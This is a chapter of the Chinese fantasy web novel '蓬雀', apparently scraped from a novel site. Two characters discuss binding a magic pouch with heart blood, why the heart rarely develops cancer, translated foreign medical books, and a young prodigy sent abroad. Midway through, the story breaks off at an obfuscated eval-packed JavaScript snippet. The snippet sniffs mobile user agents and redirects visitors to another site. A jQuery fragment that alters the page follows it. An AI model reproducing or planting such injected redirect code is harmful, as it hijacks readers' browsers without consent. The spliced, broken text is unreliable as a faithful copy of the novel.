77.译本
作品:《蓬雀》 “易主到底怎么个模样,今天前我虽然只是略有耳闻,并没有实操过,但是刚才做事的时候确实也多有用心。”萧隐一边说,一边提醒了一下伶舟絮注意脚下,伶舟絮闻声皱着眉深一脚浅一脚的蹚过乱叶枯枝,“你是说你其实也只是试了一下,并没有想过真的能成功让那芥子囊易主?”
萧隐:“嗯。”
“那你成功了吗?”
萧隐:“成功了。”
伶舟絮:“依仗剖心取血成功的?”
萧隐:“是。”她知道伶舟絮这么问到底是想刨根问底什么,索性也没想隐瞒,于是边走边说,“我本来听说的‘让法宝易主’的方法有两个版本。一是取人气海穴的健康鲜血滴在法宝上,二就是取心头血滴在法宝上。而我当时既然已经用淬毒的箭击穿了他的大椎穴促使他整个人阳海枯竭,而气海穴还是上下气机交汇的要穴,作用是调和气机、活化经络,有助于调节身体内外的气血运行,促进身体各系统的协调平衡,既然他那时候中了毒,表现出运动神经元受损的症状,那么他气海穴中想必也有毒素流窜,那里的血液也就不大能用了。”
说实话,不论是刚才听到的“运动神经元”,还是“致癌”“癌痛”或之前萧隐在火堆旁对她所说的“啮齿类动物”“生殖隔离”,其实伶舟絮都有些一知半解,可她大致能通过萧隐所说的话推断出八九不离十的意思,于是她思索着问,“所以,气海穴的鲜血不能用,你就取了他心头血用来强行将那芥子囊易主?”
萧隐点头,搀着她下了一个坡。
“那也不对呀。”伶舟絮一边小心翼翼往下走,一边拧着眉说,“心脏中虽然有鲜血,但是你也说了你下的毒会流窜会快速致癌也会引发癌痛,他既然中了毒,那么他的心脏不也会癌变吗?”你哪来的比较健康的鲜血来用?
“虽然心脏有可能癌变,但是这也不一定,”萧隐说,“癌是由上皮组织发生的恶性肿瘤,心脏中没有上皮组织,所以不会有原发性癌的发生。而且心脏和血管构成了一个封闭的血液循环系统,使其不易受到外界有害物质的直接侵袭。人们生活中面临的许多致癌物质都可能对鼻咽、口腔、食管、胃肠、肺、皮肤等器官造成不同程度的伤害,进而引发恶性病变。而心脏深藏在躯体核心位置,进入到血流的有害物质也能在经过肝脏、脾脏和肾脏时不断得到解毒、与净化处理,使致癌物质不易对心脏造成危害……这是因为心脏是人体血液循环的泵站,流经心脏的血液在人活着的时候按理说永不停息,能够使转移中的恶性肿瘤细胞不宜在心脏中停留。虽然海外医(西医)书上曾说,心脏实际上也不是绝对不患癌,血管肉瘤、横纹肌肉瘤、淋巴瘤等原发性恶性肿瘤可见于心脏;另外,如有些肿瘤也能转移到心脏,称为继发性恶性肿瘤。但是,不论是原发还是继发,与别的器官相比较,心脏的恶性肿瘤是非常罕见的。这也就说明心脏相对来说癌变的几率更低,心头血在那时候的可用价值也就更高了。”
伶舟絮没想到她叽里咕噜说了一大堆,一时间不禁有些愣住了,然后她憋了好一会儿,这才终于冒出来一句话:“你还看过海外医书?”
萧隐颔首,“终南藏书阁有源于海外的那些藏书,且海外医书并没有设那么多权限,我也就看了。”
“……能看懂?”
萧隐:“原版估计看不懂,可我看的是译本,也就能意会。”
伶舟絮沉默了。
萧隐许久没听见她答话,不由侧目。伶舟絮却还是什么都没讲,只是沉默,萧隐:“怎么了吗?”
“你看书的时候没觉得有啥不对吗?”她问,“为啥别的都容易上锁可那几本海外的译本就能让你看?”
萧隐闻声也顿了一下,“我没有想那么多,只是拿了书就看了。书中内容详实,语言精炼,逻辑通畅,虽然我因为不会外语看不了原文,只能读译本,且因为手头受限,知识储备量也不足,并没有办法真正自己考究那些术语和性状的真伪,但是总的来说那书还是让我受益匪浅的。尽管那些知识点陌生得仿佛是我从没想过的另一个世界的事,”她低声说,“和中医那些七经八络不同,却别有一番滋味,我很好奇,也很……感兴趣。”
伶舟絮哗然:“你真能对那东西感兴趣?我们生灵学(本土的生物学)引进了海外的一些内容(西方生物学)以后一时间都多的是人根本学不进去也弄不懂,你到底是怎么懂的?”
萧隐却问:“海外内容是怎么引进过来的?终南会定期和异族做海外贸易吗?还是从前有人曾出海带来了这些著作并将它们做出了译本?”
伶舟絮愣了下,却忽然叹了口气,摇摇头。
萧隐望着她,只听她说,“你也是可惜了。”
“什么?”
“早几十年前,咱们这边确实是跟异族做海外贸易的,甚至有时候咱们还有人能出海游学,我姥据说就曾送我娘出去游学,你现在看到的那些海外医书的译本,大多是那时候弄出来的。”
萧隐:“那些译本的翻译团队现在还在吗?”
伶舟絮摇头:“虽然还有零星一些人在,但是已经没什么用了。”
“为什么?”萧隐问,“是因为发生了什么变故,所以这里不再跟异族做贸易往来了吗?”
伶舟絮应声,“近些年我们忽然间发现海外环境的变动太大,而且就连时空和大陆板块疑似也有了变动,再想进行贸易往来并不方便也不安全,所以也就中止了出海游学和异族之间别的贸易往来了。”
萧隐:“那现在还有人会外语吗?”
伶舟絮:“有啊,那帮会外语的是一般没法再从海外贸易上大展拳脚了,又不是都驾鹤西去了,当然有。”说着,她忽然认识到了什么,偏头看向萧隐,“你想学?”
萧隐也不遮掩,直接点头道:“我的确想要学海外的‘普通话’,学到能够读书认字写作,应付日常交流为止。”
伶舟絮被她的话弄得一愣。虽然她早就知道萧隐是个好学的,而且从刚才的谈话中,她也能猜出萧隐想要看那些海外医书的原文,而这就无疑需要学习外语,但是听着萧隐直截了当的说出了目标和计划,她还是忍不住惊奇:“学外语可不容易,我虽然没学过,但我娘曾出海游学,她会外语。我小时候,她还会教我说一说,那些发音让人舌头打卷,字符看着更是七扭八拐,拧巴得不行……”
“絮姑娘会外语?”萧隐抓住了重点。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404171|123631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
伶舟絮:“会一部分。大致学到了能应用一些日常用语和我娘沟通却还不怎么会写文章读专业书籍的阶段。”说到这儿,她唏嘘:“本来我都会跟人讲两句了,后来我娘说让我学语法,这个句那个句的,我实在觉得学着辛苦,就这么搁置了下来。现在只零星还有点印象,剩下的知识点恐怕早就还给我娘了。”
萧隐:“终南现在还有谁会外语并能进行外语教学?”
伶舟絮微微一顿,慢吞吞说了四个字,“冲虚散人。”
萧隐也跟着微微一愣。
伶舟絮:“早几十年前,我们还能出海游学的时候,曹玄灵就是头批出去的,因为她是个金水双灵根,修真天资好,又有兵工的禀赋,小小年纪,就能做出来那么多厉害玩意,所以有她在也能给团队在武器装备上增加一些筹码,她是整个探险小队中年纪最小的人。”
萧隐听到这儿皱了皱眉,“那她那么年幼就出海游学,一路上坎坷险阻,谁来保证她的安全?”
伶舟絮愣了下,可能是也没想过这个问题,毕竟终南自从发现海的另一头似乎有神秘力量波动以后,就迫不及待着手组织了一帮人探路,曹玄灵的安全虽然也理应得到考虑,可大部分人当初之所以带着这么个十来岁的小姑娘,目的就是让她提升团队战力,至于她的安全……伶舟絮确实没听说谁真的对这个事多上心,“出那么远的门,一伙人身上肯定都有法宝吧。”想了下,伶舟絮猜测。
萧隐没再多说什么,心中却知道,那些法宝八成也是曹玄灵耗费着灵力、精力自己做的,而她每每一出手,既然那帮人都是奔着让她提升团队战力才带了她一个,那么就肯定有人对她做出的法宝虎视眈眈。这样一来,曹玄灵即便做了东西,也够呛有多少能安安稳稳揣自己兜里,在对方人多势众的情况下,很可能还不得不低头。那实在不能算是个多么保障曹玄灵人身权力的活动,甚至可以说,这就是在单纯把她当血包而已。
伶舟絮只知道那场“探路”收获颇丰,曹玄灵出去以后不仅兵工上更上一层楼了,还带了几本外语书,并把那些书翻译出来放进了藏书阁,后来陆陆续续,终南又开始派人出海游学,回来的人基本上都会像她一样,整理自己所学,可那帮人普遍对语言的掌握程度不如曹,学习能力也不如她,所以萧隐现在看到的书,大多是那时候曹玄灵翻译或修订或润色出来的——她真的是个天纵奇才,不论生灵(本土的叫“生灵”,海外的叫“生物”)、外语、兵工还是医学,她都能炉火纯青,“就连我娘用的第一本外语教科书,都是她编撰的。现在她翻译出的那些东西,还有些都合并进了当下的课本,像生灵,就特意分出了一门‘生物’,专门讲海外的‘生灵学’,岐黄(中医)也分出了一门‘西医’——因为我们当初派人就是专门往西方去的,从西方来的医术,也就在这头叫‘西医’了。”伶舟絮摇头,“不过这些可真够难的。几十年来,我们也没多少真能把这些东西钻研七七八八的人,大部分人,听着生灵,还好说,轮到修习生物,那么就只剩下一头雾水了。对待西医也是一样。
“你说,同样都是人,怎么曹玄灵一个人就能学得会那么多复杂的东西呢?”伶舟絮戳了戳萧隐的胳膊。